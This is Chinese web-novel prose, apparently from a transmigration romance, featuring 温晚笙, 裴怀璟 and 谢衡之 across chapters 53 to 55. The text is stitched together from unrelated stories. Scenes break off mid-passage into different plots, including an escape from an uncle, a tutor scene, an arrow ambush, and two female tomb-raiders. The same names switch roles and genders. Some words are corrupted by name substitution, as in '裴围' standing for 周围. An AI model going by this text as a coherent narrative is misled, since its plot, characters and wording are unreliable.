此话一出,丫鬟接连认错。陶朱又敲打了她们几句,最后道:“好了,都下去干活吧。” 丫鬟轻手轻脚退出里间。 陶朱双手端姜汤给温晚笙,不忘觑着她的神色:“七姑娘,快喝点姜汤,当心寒气入体。” 温晚笙一言不发接过喝了。 正是如此,陶朱心中更七上八下了。温晚笙不太喜欢她训斥院里丫鬟,今晚她当着温晚笙的面责备那些丫鬟,却没受到阻止。 也不是温晚笙冷眼旁观,她怕是还在神游。陶朱放好空碗,伺候她擦身穿衣,略一思忖,试探:“您今天是不是遇到了什么事?” 谁知温晚笙蓦地抬起头,盯着她的唇看了好一会。 她这不像是淋雨生病,更像是像中邪了。陶朱越想心越乱,不自觉抿了下唇:“七姑娘?您别吓奴,怎么突然盯着奴看?” 温晚笙轻歪了下头,摸着下巴思量,总算开口了:“陶朱。” 陶朱忙应:“奴在。” 她趴到床榻上:“如果你很讨厌的人要亲你,你会如何?” “如果奴讨厌的人轻薄……奴非得撕烂这登徒子的嘴,踢烂他的命根子,送他去官府,让那厮在牢里待着,省得出来祸害人。” 陶朱骂了一顿后,转念一想不对劲,以为温晚笙遭遇了这样的事,吓得脸色煞白,看向她也被浴汤熏红的唇:“七姑娘……” 她不会是……陶朱心颤。 温晚笙知道陶朱正在想些什么:“没。你别多想。”事实上,她可能要当那个被骂的登徒子。 牵手、抱人这些都可以勉强用不小心、不是故意的搪塞过去,亲人三十息?足足一分钟,很难不说是有意而为之,她居心不良。 裴怀璟精通凫水,不会出现溺水,需要人工呼吸的情况。 温晚笙试着想象了一下自己强亲裴怀璟的画面——恐怕会是一场腥风血雨,即便她能强亲上他,也很有可能不到一秒就没命了。 毕竟她已经觉醒了,做不到像原著那样豁出去。 她摸了摸忽然凉飕飕的脖颈,强亲裴怀璟是不可能的,这辈子都不可能,除非想不开要去死。 陶朱得温晚笙否认,稍安心些:“夜深了,七姑娘歇息吧。” 软枕香绵,温晚笙埋头进来,深吸一口,将亲裴怀璟的任务扔到一边,不管发生何事,都无法改变她要吃饱喝足、早睡早起的习惯。 任务什么的,当游戏通关来打就行,通关技巧最重要。 奖励大礼包会是什么? 温晚笙再次发动倒床就睡的功能,以趴在软枕的姿势睡着了,像只乌龟。还是陶朱担心她这样睡会喘不过气,把她翻过来的。 即使温晚笙想把这些任务当游戏通关来打,也有点心情郁闷,于是摆烂了几天,足不出户,吃饱就睡,睡饱了就吃,还胖了几斤。 第三天一早,温晚笙又一次被她的母亲李氏揪着耳朵弄起来。 “阿娘,疼!” “疼疼疼,疼死你算了,让你骗我。”前几天李氏没达到目的,怎肯罢休,心心念念非要得到个结果不可,天没亮便来了听铃院。 她手里拿着的那本小册子差点怼到温晚笙脸上了,威逼利诱道:“温乐允,你要是不从里面挑一个相看,今天就别想出门。” 几个壮婆子围着床榻,跟铜墙铁壁似的,生怕温晚笙又溜走。 李氏见温晚笙不说话,佯装伤心落泪:“我辛苦挑选了那么多未婚的世家公子,是为了谁?还不是为了你,你这个小没良心的。” 说到此处,她提起往事。 “想当年,要不是为了你能养在我膝下,无忧无虑长大,我定要跟你爹和离的,他居然在我怀你时悄悄纳了姓沈的那个女人!” 大燕律例规定,夫妻和离,儿女归夫家,就算儿女长大了,何去何从也是由夫家决定,她不能干涉,李氏这才不提和离的。 倘若和离了,温三爷娶继室,对方欺负她女儿怎么办? 还有,她辛辛苦苦怀胎十月的孩子凭什么要喊别人母亲,李氏死也不愿,就要坐稳这个位置,不让他扶正生了个庶子的沈姨娘。 温晚笙知道李氏付出了很多,趴到她大腿上,用手轻拍她的背:“阿娘,我会带你离开的,你再等等,等我再多攒点钱。” 李氏没听清她说什么,也没想细问,只道:“你挑不挑?”今天所言兜兜转转还是为这件事。 小册子塞到了温晚笙手里。 温晚笙眼都没睁开就摊开小册子,随便翻了几页,再随便一指:“就他了。”相看又不是要成婚,先灵活变通,顺着她母亲。 陶朱被壮婆子挡在外围,挤不进来,根本看不到温晚笙刚指了谁,只能听到李氏似有犹豫道:“他?不如你再挑挑?其他的……” 她母亲不满意这个?温晚笙偏偏不换,重复道:“就他了。” 由始至终,温晚笙都没看一眼自己所指的那张画像,眼皮实在掀不开,反正又没兴趣,困得连打了几个哈欠,推小册子回去。 李氏坐在床边,并不知道趴在她大腿上的温晚笙没睁眼看过:“你看清楚了?真的选他?” “对,真的选他。” “我选了,阿娘满意了?让我再睡会好不好。”温晚笙边对李氏撒娇边往床上倒,拉过被褥盖头。现在才卯时初,离天亮还早着。 李氏欲言又止地看着酣然入梦的温晚笙,最终没再说什么,合上手里的小册子,交给身旁的婆子,伸手过去为她捻了捻被角。 就在这时,账房那头来人了,说是温三爷要取一大笔银子。 这个老东西不好好地去官衙点卯,突然瞒着她去账房要一大笔银子作甚?给沈姨娘买东西?李氏皱眉,没惊动温晚笙,悄然出去。 几个壮婆子跟着李氏离开后,陶朱才得以靠近床榻,温晚笙浑然不觉,抱着被褥翻了个身。 她倒是睡得很香甜。 陶朱一脸纳罕,找不到人问温晚笙选了哪一家的世家公子,听夫人说话的语气,好像对对方有什么顾虑,可碍于她喜欢就没反对。 转眼间,天彻底亮起来,睡了个回笼觉的温晚笙缓缓地转醒。 里间面朝正南的窗户半开,几只蝴蝶飞了进来,落在窗台前的盆栽上。温晚笙伸了个懒腰,坐起来裹着被褥看了片刻,散散困意。 陶朱估摸着她醒了,领着众丫鬟端水和吃食进来:“七姑娘应该饿了吧,夫人特地吩咐人给您做了您最爱吃的肉包子。” 一听今早有自己爱吃的,温晚笙速速去洗脸刷牙。 在丫鬟给温晚笙挽发插簪的时候,陶朱走过来轻握她的耳垂,为她戴上宝蓝色琉璃明月珰:“七姑娘,您选了哪家的公子?” 温晚笙摸着首饰盒里的金银,不解其意:“哪家公子?” 陶朱提醒她:“夫人今天早上让您选要相看的公子,您不是选了一个?是哪家的公子?” 她耸肩:“我也没看,就随便选了一个,到时候看看而已,又不会掉层皮,总不能相看了就要成婚吧,兵来将挡,水来土掩。” “可、可您也不能随随便便选一个。”陶朱目瞪口呆。 温晚笙鬼点子最多,笑吟吟道:“怎么就不行了,不管是谁,相看当天,我必定会给他留下个‘美好’的回忆,让他终生难忘。” 果不其然,下学钟声敲响后,她被单独留了下来。 夕阳斜照,将两人的影子拉得老长。 “对不起,先生。”温晚笙抿了抿唇,还是决定先发制人,垂着眼睫恭谨道:“学生知错,以后一定专心听讲,不再走神。” 这已经不知是她第几次保证了。 谢衡之并未立刻责备。 他负手而立,侧身望着庭院中那株新绽的玉兰。 洁白的花瓣微微颤动,送来一缕极清冷的香。 片刻的静默过后,他缓缓转回目光,落在她低垂的眉眼上,问了一句让她猝不及防的话: “二小姐这几日神情不属,可是在担心裴公子?” 第 53 章 第 53 章 “先生说什么?”温晚笙挠了挠脸颊,怀疑自己耳朵出了问题。 谢衡之耐心地用一贯平稳的语气,缓缓重复了一遍。 视线跃入那双不含温度的眼眸时,温晚笙差点被自己的唾液呛到。 男主也和系统一样,会读心术吧。 不然怎么能看穿,她心里在想着谁。 他就那样清清冷冷地站着,神色从容,却令她陡然生出一种早恋被抓包的羞惭感。 电光火石间,她果断选择装傻。 “哎呀,先生这么一说”她眼珠子往斜上方虚虚一浮,尾音带着点不确定的飘忽,“好像是有好几天没有看到他了唉。” 真真假假,温晚笙只挑着杨元兴喜欢的听,将他的功劳夸得无限大,又言之凿凿道:“娘亲说是城西,那阿爹一准会在城西等着我们。” “好好好,最好真是在城西,也不枉费我这一路的辛苦,若不然……”杨元兴没说完,只眼中闪过的寒光叫人不寒而栗。 就这样又在客栈休整了半日,转天大早,舅甥两个不等天亮就赶到城北,只等城门一开,做了那第一批出城的人。 因着那天夜里的事,温晚笙心存警惕,之后一路多数时间保持着清醒,就是夜里也不敢睡死,唯恐睁眼被卖去烟花之地。 只是她旧疾缠绵甚久,身子到底单薄了些,又是连着赶了四五日路,到后头免不了精力不济,硬撑着跟在杨元兴身后,实则神思早是混沌了。 直到二人抵达京城,随其余入京的百姓被拦在城门口。 杨元兴顶着寒风苦等半日,嘴上心里骂了无数遍,转身时一个不小心,一胳膊顶在温晚笙脑袋上,直将她撞了个跟头。 杨元兴却只是斜眼看了看,双手揣进袖口里,缩头缩脑地往前走了一步。 后面的妇人本不欲多管闲事,只看温晚笙半天爬不起来,前头的男人又没有一点帮忙的意思,想到自己年岁相当的女儿,一时不忍,弯腰扶了一把。 妇人低头一看,被温晚笙铁青的脸色吓了一跳,再摸一摸她露在外面的手,又是冻疮又是裂口:“哎呦可怜见的……” 她忙回身,从丈夫那里要来暖手的汤婆子,不由分说塞进温晚笙怀里。 温晚笙手上一阵密密麻麻的刺痛,下意识将汤婆子抓紧,好半晌才抬起头,细细说了一声:“谢谢……” 不等妇人回应,城门忽然涌出一队重甲兵士,面容肃整,策马而过。 排队等着检查的百姓匆忙让路,仍是被扬尘扑了满身,外地来的不知情况,一些总在京城内外来往的偏是面露惊绞。 重甲兵来去皆疾,只留下无数议论。 “这莫不是……” “可不正是司礼监的甲兵!” 此话一出,众人面上骇色愈深,有那胆子小的索性直接闭了嘴,又怕说了不该说的惹祸上身,掩面往旁边躲去。 几个特殊字眼钻进温晚笙耳中,叫她猛一激灵,不觉侧目看去。 便是杨元兴都好奇地左右打听:“兄台可识得那些贵人?我从外地来,尚不识人,还请兄台赐教一二,也省得冲撞了贵人……” 有人不理会他,自然也有那好事的。 “那你可是问对了!若说这京城里最不能冲撞的,当属司礼监诸列!” 杨元兴暗叹一声:“可是刚刚骑马的那些人?兄台可否能多说两句?” 温晚笙赶忙上前两步,唯恐听漏了只言片语。 “说起这司礼监,不得不提的便是那位掌印大人,莫看其宦官出身,如今备受器重,手握重权,又有甲兵调遣,上至朝廷大案,下至家宅阴私,只要是这位大人想知道的,便没有能藏住的,一句话就能把人祖宗八代查出来!” “可不止这些!听闻司礼监掌印手持天子剑,掌先斩后奏之权,上斩诸侯下诛庶民,虽无品阶,可就是首宰见了他也要以礼相待……” “还有还有——” 哪怕早知晓掌印是个不得了的,猛从旁人口中听闻,温晚笙还是暗暗咋舌。 也不知是谁提了一句:“你们说的这些都不重要,真正该记在心里的,应是敬畏戒备,若有朝一日真见了这人,我只劝你们能躲多远躲多远。” “此话怎讲?” “呵。”那人冷笑一声,“你们难道不知,与其赫赫威名相对应的,乃其狠厉手段?只说去年一年里,司礼监就抓了上千人,且不说有没有损伤,只活着出来的,尚不足双数,敢问剩下的都去哪了?” “说什么代天执法,只怕是以权谋私,暗泄私恨罢了!奸佞之辈,早晚有受制裁的时候!” 话音一落,裴围人不觉倒吸一口凉气, 有那心直口快的,失声说道:“你不要命了!你你、你不想活莫要牵连我等,呸呸呸,我可是什么都没听见——” 说着,男人快步远离此地,看他离开的方向,那是连城门都不打算进了。 在其之后,另有七八人有了相同举动。 反是最初直言不讳的人梗着脖子:“说便说了,大不了一死!”说完,他挺直胸脊,拨开挡路的人,顾自走向城门。 其余人面面相觑,或是不相信,或是心有顾忌,终是三三两两地散开。 杨元兴听得囫囵,虽也对这素未谋面的司礼监掌印生了畏惧,却并不觉得会与之有所交集,只当听了个热闹,砸么砸么嘴,赶紧跟上检查的队伍。 温晚笙早有心理准备,要说害怕自然是有,但也不算意外。 她晃晃脑袋叫自己清醒些,最后抓了抓手里的汤婆子,回头将其还给好心妇人,又郑重道了谢,这才追上杨元兴去。 京城重地,城门检查容不得半点差错,这也是检查队伍始终缓慢的缘由。 温晚笙他们是辰时到的,前前后后等了足有三个时辰,连杨元兴手脚都有些僵木,好险赶在天黑前排到他们。 检查的士兵仔细看过他们的路引,又详细盘问了入京的目的种种,连带着杨家家在何地、人口几何,事无巨细,全记录在册子上。 等他们查过杨元兴和温晚笙身上都没有禁物,这才分给他们一支竹签,用作之后半月里京中行走的凭证,若是半月后他们还要在京城逗留,便要去衙门检阅,其间无数要准备的东西暂且不提。 眼下两人终于入城,才一进去就被道路两侧的商贩拦了去路。 好在这些商贩知道钱是在大人身上,只簇拥在杨元兴身边,温晚笙被远远落在后面,一时无人问津。 温晚笙始终注意着杨元兴的动向,见他没工夫注意这边,手心不觉攥紧,在看见他被拉去看东西时,缓缓吐出一口气。 下一刻,她埋头窜进人群中,奔着与杨元兴完全相反的方向,一路狂奔。 为了从杨元兴身边逃离,温晚笙用了全身的气力,也不管后面有没有人追赶,只是不顾一切地往前冲,直至她浑身失力,这才一头栽倒进巷子里。 长时间的奔跑下,温晚笙呼吸急促,整张脸胀红,浑身泛着不正常的热度。 但当她环顾四裴,确定裴围完全没有了杨元兴的身影后,她还是忍不住扯了扯嘴角,露出数日来最轻松的一个笑。 成功了! 从杨元兴身边逃离,再不用担心被发卖了去。 温晚笙原先还不知如何甩开对方,哪成想一进城就给了她机会。 哪怕仍是前途未卜,她还是高兴得不行,放任自己瘫软在地上,慢慢等待手脚恢复知觉,再撑着墙面站起来。 温晚笙搓了搓脸颊,看着嘴里呼出的白雾在眼前凝聚又消散,向着巷子外踏出一步,眼前豁然开朗。 时值傍晚,街上行人较白日少了许多,沿街商贩也收拾起摊位来。 温晚笙跟着杨元兴走了这么些时日,经过的大城小城多是在走马观花,杨元兴便是有千百般不好,但这一路的行程也确实全是他来规划的。 如今温晚笙孤身一人,又要防着不怀好意的人,又要自行辨别方向。 她虽勉强能分出东西南北来,但并不知该往哪个方向走。 她只是依稀记得,掌印的住处有两个,一个是官家分给他办公休憩的衙门,位于司礼监衙门旁边,日夜有人把手。 另一则是他自己置办的私宅,也就是城西的那处。 且不说温晚笙根本不知道城西的掌印私宅是哪个,便是误打误撞找过去了,按照书中的说法,掌印大多时候都歇在衙门里,一月也不一定回家一趟。 温晚笙站在大街正中央,眼中闪过一抹茫然。 但她还是很快回过神,不管能不能碰上,好歹也要先找过去。 不然她一个小孩子,面对坏人毫无自保之力不说,就是这寒冬腊月里,宿在外面也是能要人命的。 打定主意后,温晚笙只能去找路人问询,奈何她说的地方太过宽泛,一连问了四五人也没能有个准确答案。 倒是她单独一个小姑娘走在大街上,引了不少人注意。 又一次问询无果后,温晚笙停下脚步,她敏锐地察觉到四裴的打量,心里暗道不好,手心也冒出一点冷汗来。 她四下看了看,最后奔着一间茶点铺子跑去,而后扒着门头,礼貌向里面打扫的小二询问:“请问阿兄知道如何去城西吗?就是有贵人宅子的地方。” 小二听见声音愣了一下,半天才看见脚边的小人。 他挠了挠头:“你问的……这贵人的宅子哪是我们能知道的,不过你要说城西,只管顺着这条街往西走,走到尽头再左拐,继续往西再左拐,过了玄武大街就是城西范属了……你是谁家的小孩?只你自己在吗?” 温晚笙没有回答他的问题,只将前面的指路记在心里,大声道谢后,不过转眼便消失在街头。 “二小姐”话音未落,少年呛咳一声,唇边溢出一口鲜红的血,迅速染红了他苍白的下巴。 温晚笙吓了一大跳,猛然缩回手。 她的辣椒粉可没有让人吐血的作用啊! “你”她看着那不断从他唇角涌出的鲜血,连呼吸都忘了,语无伦次地解释,“我没给你下毒啊,这只是辣椒粉” 少年乌黑柔顺的长发如瀑,披散在肩头颈侧,愈发衬得那张脸惨白如纸。 诡异瘆人。 在她惊恐的视线中,他的身体晃了晃,直挺挺倒向她。 第 54 章 第 54 章 等把人半拖半搂地带到寝舍,温晚笙已是气喘吁吁。 夜风一路灌进衣襟,她却热得额角发汗。 好不容易把人安置到床上,差点又和他来了个脸贴脸。 温晚笙现在接受能力很强,马上就若无其事地一屁股坐到床边。 匀了匀气息,她才伸手探向他鼻端。 “嗯?”她把整根手指贴了上去,还是没探到呼吸。 她眉头拧得死紧,直接把脸颊贴到他的胸膛上。 终于,感受到了微弱的起伏。 裴怀璟言简意赅道:“谢家五公子藏身花球,想通过花魁游街出城,被我撞破,正欲将他擒拿,有箭从东南方向的楼阁射出。” 锦衣卫顿时了然于心,握刀颔首道:“属下即刻去查。” 雨有下到晚上的趋势,裴怀璟抬眼望天,电闪雷鸣,乌云密布,雨连成水帘,朦胧了视线。 啪嗒啪嗒,水砸到脸上有轻微的痛感,裴怀璟早已习惯,并不觉得有什么,反而觉得还不够。 雨忽然停了。 不对,不是雨停了。只是雨不再淋到裴怀璟身上,莫名沿着一道弧形淋落在地,绕开他了。 裴怀璟回首,入目的先是一只握住伞柄的手,指节纤细,手背薄透,可见皮下血管,再是一张白净如雪,还残留着几滴雨水的脸。 他眼神微顿。 温晚笙不知从哪里拿来了红色油纸伞,只有一把。她抬高胳膊为他撑伞,眉眼带笑,唇红齿白:“裴大人,我送你回北镇抚司。” 完成了任务,她心情好,绕路送他回去又何妨。 还活着。 “喂!”她低声唤了一句,抬手在他脸颊上拍了拍,“醒醒。” 静夜里响起一道又一道引人遐想的‘啪啪’声,她却浑然不觉有什么不妥。 少年的脸颊被拍得隐隐发烫。 依旧毫无动静。 她迟疑了很小的一瞬,又伸手,在他脸颊上用力掐了一把。 白皙的皮肤几乎立刻泛起薄红。 还真是玉做的人,被这么一捏,就红的不成样子,教人无端想欺负。 这样想着,她又报复似的,多捏了几下。 裴怀璟睫毛染雨后显得细长,垂眸看被雨水淋湿了脸的温晚笙,她发烫的掌心还紧挨着他腰背,似能隔着几层衣衫传递温度。 他刚要推开温晚笙,她抱得更紧,往地上倒,再往花车车底滚去。前一脚他们双双滚进落了花瓣的车底,后一脚就有十几支箭射来。 “嗖嗖嗖”数声,冷箭全部没入花车,将其扎成筛子。 有一支甚至射穿了花车夹板,插进温晚笙身畔空地,箭尾还在颤动。好险,她心跳如擂鼓,不过听到“任务完成”时又觉得值得。 行动前,温晚笙同样做好了失败的准备,想着裴怀璟要是再躲开,那她就自己躲进车底,毕竟自己的小命排第一。没想到成功了。 可能是她选的时机合适,裴怀璟大抵觉得她是在“救”他,所以不动,看着她跑来,没躲开。 温晚笙鬼鬼祟祟地瞄了几眼外面,大喘着气,随即意识到什么,俯视被她压在身下的裴怀璟,此刻他们的腰腹抵着腰腹,动作暧昧。 裴怀璟也在看着她。 四目相对,温晚笙讪讪地松开搂抱住他的手,稍微收起自己往下压的腰腹,扯出笑:“我不是故意的,裴大人你没事吧。” 尽管没她,裴怀璟也能处理掉那些箭,但还是和善答道:“多亏了温七姑娘,我安然无恙。” “举手之劳罢了。” 可惜,他的脸颊这些时日好像清减了些,没什么手感。 盯着自己造出来的红痕看了两息,温晚笙假模假样地咳了两声,心头掠过一丝微妙的虚意。 “裴怀璟?” “裴怀璟?” 看来是真的昏死过去了,人事不省。 温晚笙撇了撇嘴。 这人向来命硬得很,几次三番折腾都没见真出什么事。 等明早天一亮,多半又是那副完好无损的模样,根本轮不到她在这儿瞎操心。 温晚笙应得底气不足,知道裴怀璟可以妥善处理那些箭,不需要她救,可她就要试着救。不救哪来的抱人机会?有些机会是创造出来的。 任务完成,也该撤了,省得招惹到其他麻烦。温晚笙想起来,结果腰背被花车夹板顶住,没防备,差点重重地跌回裴怀璟身上。 幸亏她及时反应过来,双手撑地,阻止了事故的发生。 只不过他们的姿势更加不雅了,温晚笙双手撑在裴怀璟头顶,双腿自然分开,跪放在他身侧,远远一看,她就好像跨坐着他的腰上。 此时此刻,雨水顺着温晚笙脸颊滑落,裹着她的气息,砸进裴怀璟的衣领,沿着他锁骨坠入深处。 最后滑落的水滴被她身体温热了,滚进他衣领的也是热的。 一连串动作下,温晚笙衣襟微松,贴身戴在脖颈里的财神金吊坠掉了出来,红绳在空中荡了几下,财神金吊坠晃到裴怀璟眼前。 裴怀璟第一次见有人把财神戴在身上的,还是用金打成的财神吊坠。他虽不了解如今京城女子喜欢戴什么首饰,但应该不是金财神。 温晚笙轻咳一声,空出一只手将财神吊坠塞回去,当没事发生。 紧接着,她黏成了一团的湿漉漉发丝夹着丝绦越过肩头,也扫过裴怀璟脖颈,如羽毛轻挠。 裴怀璟手指一动,想拿开。 她随意捞过床尾叠好的被褥,看也不看,一把就将人从头到脚囫囵盖了起来。 随后,她撑着老腰缓缓直起身。 刚才一路拖拽,他一点重量都没收,这么大个人勒得她肩背发酸,骨头都快散架。 脚步刚挪动,目光不由自主地在少年脸上定了定。 优越的骨相,哪怕带着狼狈的病态,也总是分外惹眼。 眉骨鼻梁的线条清晰利落,下颌的弧度干净漂亮。 唯有眼睑被刺激得依旧泛着红,漆黑纤长的睫毛湿漉漉地黏连在一起。 而唇边未及擦拭干净的血迹,已经凝成暗红色,沉沉缀在冷白的肌肤上。 就像刚饮过血的吸血鬼。 锦衣卫不敢有所隐瞒:“属下急着赶来,并未详查。大人如有需要,属下立刻遣人去查。” 裴怀璟莞尔一笑,弯腰拾起一支被雨水打落的徘徊花,指尖轻轻抚过湿花瓣,缓慢地碾碎,花汁染红指腹,又被雨洗得一干二净。 他把没了花瓣的徘徊花放回花车上,慢条斯理道:“此事先放一边,你们去给我查西街东南方向的楼阁,今天都有谁在。” 锦衣卫:“是。” 话音刚落,他们看到一个人从花车底下爬出来。 温晚笙确认外面没危险就出来了,没事躺车底下干什么,图它硌得慌?又不是受虐狂。她见到锦衣卫,还很友好朝他们招了招手。 这一队里有几个锦衣卫见过温晚笙,认得她,按住了其他以为她图谋不轨,想拔刀的锦衣卫。 温晚笙溜到裴怀璟身后。 有个锦衣卫知事问:“大人,西街刚发生了什么事?” 他们看到信号就赶来了,没来得及打听任何事情,到了西街又只见裴怀璟和一辆千疮百孔的花车,遍地的花瓣,还有一些箭。 她心情瞬间又不好了。 陶朱沉默须臾:“七姑娘,您行事该三思而后行,切勿这般草率,这对您的名声不好,您以前不是最爱惜您的名声……” 她又开始了劝诫之路。 温晚笙可不吃她这一套,低头挑选丝绦:“以前是以前,现在是现在,我刚出生的时候还是个三斤多的娃呢,现在翻了多少倍?” 用过早膳,温晚笙威胁陶朱说她再啰嗦就不带她出门了。 这一招比什么都管用,陶朱乖乖闭上嘴巴,生怕温晚笙又扔下她一个人在温家,自己出去溜达。 辰时末,温晚笙出发去裴家看裴馨宁。不知道裴怀璟在不在裴家,兴许还在北镇抚司办差。 到了裴家,温晚笙还是被人领到裴馨宁的闺房。 不过这回领她进门的人不再是守门的普通仆从,而是裴馨宁的贴身丫鬟芷兰。芷兰之所以到大门前迎温晚笙,是因为有话要说。 自那天从马场回来后,裴馨宁就一直郁郁寡欢,胃口也不太好,躲在房间里哪也不去,芷兰担心她继续这样会伤到身体。 今天温晚笙会来此不是偶然,芷兰瞒着裴馨宁派人去请的。 芷兰将事情的来龙去脉全部都告诉温晚笙,求助道:“温七姑娘,麻烦您待会好好劝劝三姑娘。再这样下去,她身体吃不消的。” 导致裴馨宁茶饭不思的原因还能是什么?温晚笙一清二楚,眼珠子一转,想到了开解她的办法。 解铃还须系铃人。 温晚笙凑到芷兰耳边说了几句话。芷兰半信半疑,踌躇道:“三姑娘会不会更加不高兴?” 她胸有成竹的样子:“不会的,你相信我,你家姑娘到时一定转愁为喜。你先去办,我进去看看你家姑娘,跟她说几句。” 芷兰应下了,往前走推开门:“三姑娘,您瞧瞧谁来了。” 裴馨宁的声音从里间传出:“我谁也不见,你让阿爹阿娘回去吧,我改日再去向他们问安。” “连我也不肯见?”一道带着点失落的声音横插进来。 一听就是温晚笙的声音,裴馨宁一扫郁色,喜出望外,扶着裙摆快走出来:“你怎么来了?” 她反问:“我不能来?” 裴馨宁亲昵地挽住温晚笙的臂弯,朝里走,低声道:“怎么会呢,你想来随时都可以来。” 伺候裴馨宁的丫鬟机灵,见温晚笙来了,端些茶水上来。 温晚笙入座,打量了下光线昏沉的里间。没开窗,帘子也落下,白日里仅以烛火照明,不远处的罗汉榻有一个只绣了一半的香囊。 昨天从裴怀璟房间里出来,已是日上三竿,她不得不旷了课。 今天好不容易把落下的课程一一补齐,精神早已被榨干。 庭院寂寂,只有她一人。 大家都去用午膳了,她难得毫无食欲,索性提前做起了丹青作业。 画到难的地方,笔尖在宣纸上悬了悬,迟迟没有落下。 “他今日回来,你可放心了。” 温润的嗓音自耳畔响起。 温晚笙的手腕一抖,一滴本不该出现的墨汁落在画卷中央,瞬间破了原本的布局。 她抬眼瞧了瞧来人,满腔郁气自然不能朝他发作,只能闷闷地‘嗯’了一声。 提到裴怀璟她就来气。 见她腮帮微鼓,谢衡之自然地接过她手中的笔。 温晚笙却在此时压低了身子,呼吸拂过他皮肤,她滚向一侧,与他同躺在地。就算分开了,离得也没一指远,裙摆衣摆交错叠着。 她不确定那些偷袭裴怀璟的人还会不会朝这里射箭,所以没离开花车车底,先探头观望观望。 裴怀璟不像温晚笙小心翼翼,无所顾忌出去,仰首望高楼方向。 高楼的窗户大开,还有不少人伸长脖子在看热闹,普通百姓怕惹事,楼上贵人不怕,所以一眼看去难以锁定箭是从哪里射出的。 急促的脚步声响彻西街,锦衣卫来了,他们井然有序地对裴怀璟行了一礼,继而请罪道:“大人,属下来迟,还望责罚。” 雨尚未停,瓢泼大雨冲刷着他们的面孔,睁眼也困难。 裴怀璟收回目光,再看花魁原先倒下的地方,那里已经空无一人,她、谢五、男子全消失了。 那些箭是掩护他们离开,还是专门杀他的?裴怀璟垂了垂眼,语气温良问:“为何来迟。” 话间,他没看他们。 他很少对锦衣卫发脾气,是他们遇到过脾气最好的一位锦衣卫指挥佥事。锦衣卫低眉:“来时路上有人闹事,耽搁了些时间。” 他又问:“何人闹事?” 腕转锋回间,寥寥数笔,竟将那点墨渍点染成远山含翠,化瑕为瑜。 温晚笙看得有些出神,语气里透出毫不掩饰的崇拜,“哇,先生,你怎么画画也这么厉害啊?” 那句‘你是我的神’差点脱口而出。 霎时,所有的烦恼都被抛之脑后。 谢衡之淡淡一笑,温煦地问:“腹中可还疼?” “哎哟。”温晚笙怔了一下,很快就捂着小腹,痛苦地皱起脸,“先生不提还好,这一提,我又痛起来了。” 昨天旷课的原因,她还没有跟谢衡之言明。 但完美的好朋友,已经替她捏造了一个借口。 谢衡之眉宇间掠过一缕罕见的无措。 而不远处,目睹这一幕的少年,古怪地弯了弯唇。 第 55 章 第 55 章 陆子昂嘿了一声,上下打量面色阴沉得能下雨的少年,“刚回来,谁又惹你了?” 裴怀璟默然不语,方才那一幕却不受控制地在眼前浮现。 春光正浓,少女仰着脸,眸光灼灼地望向身侧温润如玉的青年。 倒是,般配。 “不说算了。”陆子昂早就习惯了他的沉默寡言,自顾自转身掩上门,声音压低了几分:“你见到陛下派来的人了?” 他口中的“陛下”,不是旁人,正是裴怀璟那位薄情寡恩的生父,郦国高高在上的帝王。 谢衡之气她总在关键时刻插科打诨,连忙替挚友问道:“姚姑娘,她这毒能解么?” 姚蓉蓉皱眉道:“这尸毒有点怪,这么短的时间里看不出什么,要想解毒的话,还得细细查验才行。” 裴怀璟笑道:“我这尸毒确实不好解。” 因为谢衡之和裴怀璟都是女子,所以直接在姚蓉蓉的梨花苑的东厢房里住下了。 姚蓉蓉诊脉后便去书房里翻阅医书 这一查验,就是整整一个晚上,烛火燃了一夜,姚蓉蓉桌前的医书堆了半人高。 天亮后,姚蓉蓉顶着两个黑眼圈,对她们两个说道:“医书中没有记载,你们两个别急,我去找人。” 医学生摇人,摇来的一定是个大佬。 谢衡之悬起的心稍稍放松,巴不得姚蓉蓉把医仙月扶疏给摇来。 两人坐在东厢房里等啊等,从天亮等到了天黑,姚蓉蓉还是没有回来。 裴怀璟等的不耐烦,谢衡之更是焦灼,在裴怀璟面前绕着圈圈走来走去。 裴怀璟被她转得眼晕,干脆拉着谢衡之出门看梨花。 两人并肩行走在梨花下,裴怀璟拿出随身携带的笛子,给谢衡之吹了一首曲子。 不知道是不是赶尸客当久了,裴怀璟无论吹什么曲子,都带着一丝森森鬼气。 谢衡之听得后背发凉,赶紧抬手捂住了笛子上的小孔。 “你这些年被阴气腌入味了吧?” 裴怀璟笑笑不说话,她把手中的笛子潇洒地转了一个圈,问道:“在原著中,姚蓉蓉是个什么样的女孩?” 谢衡之说道:“爱说大话,性格有点自恋,又有点骄傲,总以自我为中心,喜欢被所有人关注,希望所有人的目光都汇聚在她的身上。” “女主没来到碧海潮生之前,她是医仙最小的弟子,最小的弟子一直都是最受宠的,当女主来到碧海潮生之后,这一切都变了。” “女主的天赋比她高,长得也比她好看,又活泼俏皮娇软可爱,还最爱撒娇,这样的女孩谁能不喜欢,医仙和众多师兄的目光都汇聚在女主身上,姚蓉蓉心中不平衡,日积月累中,这种不平衡越来越大,对女主的恶意也就越来越深。” 裴怀璟思索:“这么说,女主是一个纯白无瑕的人了?” 谢衡之摇头:“这个世界上没有纯白无瑕的人,但凡是个人,就会有自己的私欲和私心,女主也不例外。”裴怀璟极淡地“嗯”了一声,听不出情绪。 陆子昂心下暗叹,面上却未显端倪。 将剑收回剑鞘,谢衡之拿过一旁易容用的面具,调制好胶水后再次缓缓贴在脸上。 一张清丽脸庞顿时变得清汤寡水,看上去毫无记忆点,随时会淹没在人群中。 做完这些,谢衡之站起身走到屏风后面。 倒在床榻上睡觉的裴怀璟眉头紧皱,全然没了白日里嬉皮笑脸的模样。 尽管谢衡之脚步无声,但她刚一靠近床榻,裴怀璟便立即睁开了眼睛。 谢衡之撇嘴:“都同床共枕睡了三个月了,怎么还么警觉?” 裴怀璟打了个哈欠。 “没办法啊,常年下墓的人哪能没点警觉性,一年三百六十五天,天天被粽子追的到处跑,谁还能睡得实。” 她往里挪了挪,谢衡之在她旁边躺下,脑中晃过的是裴怀璟高考后穿着大红色吊带裙在商场闲逛的时候。 185cm的身高,攻击性极强的美艳外貌,一头大波浪卷发垂在雪白肩头,所过之处回头率百分之百。 那头大波浪还是她拿着卷发棒给裴怀璟卷出来的,牵着裴怀璟的手走在商场的时候,她心中特别骄傲,觉得自己的卷发手艺真是超绝一流。 正回忆往昔时,肩膀被裴怀璟拍了一下,“阿雪,你想什么呢?” 谢衡之回过神来,说道:“在想这里的世界对女性的包容度太低了,身高超过一米八的女孩,在男人眼里简直像怪物一样,都买不到合适的女装。” 裴怀璟笑了两声:“穿越到现在,就没见过比我高的女人。” 